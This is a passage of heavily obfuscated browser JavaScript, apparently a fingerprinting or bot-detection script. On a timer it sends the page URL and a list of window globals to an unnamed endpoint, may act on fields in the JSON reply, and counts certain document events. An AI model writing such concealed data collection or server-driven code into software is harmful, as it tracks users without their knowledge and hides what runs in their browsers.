Q0yHTyK[PUpHDP(0x82)](uZ5occJ(new Uint8Array(await ScWTlB[PUpHDP(0x83)]())))};let WdT3pzG=SG85dN[0x0],JH185vM=SG85dN[0x0];setTimeout(()=>{function r6YG_NF(r6YG_NF){var MVG8nt6="[jfnHw]ReiJts3;p0l9rLx$`KP)yXa>C{B!+S%WgvdQ#/O.c68FI*7k^=@2zq,51EhMUAuV4_DY<mZ?~bG&(:TNo\"}|",_cueZe,PUpHDP,ScWTlB,T0n3CP,JKvrL7,NyzlI2v,hsXzw28;nmiHSwn(_cueZe=""+(r6YG_NF||""),PUpHDP=_cueZe.length,ScWTlB=[],T0n3CP=SG85dN[0x0],JKvrL7=SG85dN[0x0],NyzlI2v=-SG85dN[0x1]);for(hsXzw28=SG85dN[0x0];hsXzw28<PUpHDP;hsXzw28++){var LsSETI=MVG8nt6.indexOf(_cueZe[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(ScWTlB.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){ScWTlB.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(ScWTlB)}function MVG8nt6(MVG8nt6){if(typeof wjxdVVu[MVG8nt6]===SG85dN[0x5]){return wjxdVVu[MVG8nt6]=r6YG_NF(BwdyOD[MVG8nt6])}return wjxdVVu[MVG8nt6]}nmiHSwn(WdT3pzG=vuzTNS(),ad1FaG(_cueZe(0x84),{[MVG8nt6(0x85)]:dbVld5f,u:window[MVG8nt6(0x86)][MVG8nt6(0x87)],[MVG8nt6(0x88)]:Object[MVG8nt6(0x89)](window)[MVG8nt6(0x8a)](r6YG_NF=>{function MVG8nt6(r6YG_NF){var MVG8nt6="%068hC=9y:m`5/x1Oq7oWRDwTY;Z>+<B!\"zbJQ}tr4IvAF#{uE~Lgp3fMX[U&KS?^),d$V*sjkN|PGl2a_c(Hen]@.i",_cueZe,PUpHDP,ScWTlB,T0n3CP,JKvrL7,NyzlI2v,hsXzw28;nmiHSwn(_cueZe=""+(r6YG_NF||""),PUpHDP=_cueZe.length,ScWTlB=[],T0n3CP=SG85dN[0x0],JKvrL7=SG85dN[0x0],NyzlI2v=-SG85dN[0x1]);for(hsXzw28=SG85dN[0x0];hsXzw28<PUpHDP;hsXzw28++){var LsSETI=MVG8nt6.indexOf(_cueZe[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(ScWTlB.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){ScWTlB.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(ScWTlB)}function _cueZe(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=MVG8nt6(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}return r6YG_NF[SG85dN[0x0]]===r6YG_NF[SG85dN[0x0]][_cueZe(0x8b)]()&&!r6YG_NF[_cueZe(0x8c)]("on")})})[MVG8nt6(0x8d)](r6YG_NF=>{function _cueZe(r6YG_NF){var _cueZe="S%Tq+ut=FX6zkY*$D>rV|p(\"W]MPlc}AKjGBoQNisaCv^`12w8.)I/O#;UxZfy_bEe3hJHdmL9ng~5?<0&,!:[@7{4R",PUpHDP,ScWTlB,MVG8nt6,T0n3CP,JKvrL7,NyzlI2v,hsXzw28;nmiHSwn(PUpHDP=""+(r6YG_NF||""),ScWTlB=PUpHDP.length,MVG8nt6=[],T0n3CP=SG85dN[0x0],JKvrL7=SG85dN[0x0],NyzlI2v=-SG85dN[0x1]);for(hsXzw28=SG85dN[0x0];hsXzw28<ScWTlB;hsXzw28++){var LsSETI=_cueZe.indexOf(PUpHDP[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(MVG8nt6.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){MVG8nt6.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(MVG8nt6)}function PUpHDP(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=_cueZe(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}const ScWTlB=JSON[MVG8nt6(0x8e)](r6YG_NF);nmiHSwn(JH185vM=vuzTNS(),DKJURn4=ScWTlB[PUpHDP(0x8f)],ScWTlB[SG85dN[0x14]]&&IIDrLE(ScWTlB[SG85dN[0x14]]))})[MVG8nt6(0x90)](()=>{return SG85dN[0x0]}))},0x1f4);let G6iu_3Z=!SG85dN[0x1],de_ZtGr=SG85dN[0x0],c0vpEAE=SG85dN[0x0];nmiHSwn(document[_cueZe(SG85dN[0x15])](_cueZe(0x92),r6YG_NF=>{function _cueZe(r6YG_NF){var _cueZe="/A%o6+2l>xPHw}B,f]T&@I0b[g{aZi_vV#!nUKD5eWQuX1Rp\"St*|qrj.YyJz7OC4<^F3GEc(~;M:L)=Nks$`dm89h?",MVG8nt6,PUpHDP,ScWTlB,T0n3CP,JKvrL7,NyzlI2v,hsXzw28;nmiHSwn(MVG8nt6=""+(r6YG_NF||""),PUpHDP=MVG8nt6.length,ScWTlB=[],T0n3CP=SG85dN[0x0],JKvrL7=SG85dN[0x0],NyzlI2v=-SG85dN[0x1]);for(hsXzw28=SG85dN[0x0];hsXzw28<PUpHDP;hsXzw28++){var LsSETI=_cueZe.indexOf(MVG8nt6[hsXzw28]);if(LsSETI===-SG85dN[0x1])continue;if(NyzlI2v<SG85dN[0x0]){NyzlI2v=LsSETI}else{nmiHSwn(NyzlI2v+=LsSETI*SG85dN[0xc],T0n3CP|=NyzlI2v<<JKvrL7,JKvrL7+=(NyzlI2v&SG85dN[0xd])>SG85dN[0xe]?SG85dN[0xf]:SG85dN[0x10]);do{nmiHSwn(ScWTlB.push(T0n3CP&SG85dN[0x3]),T0n3CP>>=SG85dN[0x2],JKvrL7-=SG85dN[0x2])}while(JKvrL7>SG85dN[0x9]);NyzlI2v=-SG85dN[0x1]}}if(NyzlI2v>-SG85dN[0x1]){ScWTlB.push((T0n3CP|NyzlI2v<<JKvrL7)&SG85dN[0x3])}return dH0Uoht(ScWTlB)}function MVG8nt6(r6YG_NF){if(typeof wjxdVVu[r6YG_NF]===SG85dN[0x5]){return wjxdVVu[r6YG_NF]=_cueZe(BwdyOD[r6YG_NF])}return wjxdVVu[r6YG_NF]}return r6YG_NF[MVG8nt6(0x93)]&&de_ZtGr++}),document[_cueZe(SG85dN[0x15])](_cueZe(0x94),r6YG_NF=>{function _cueZe(r6YG_NF){var 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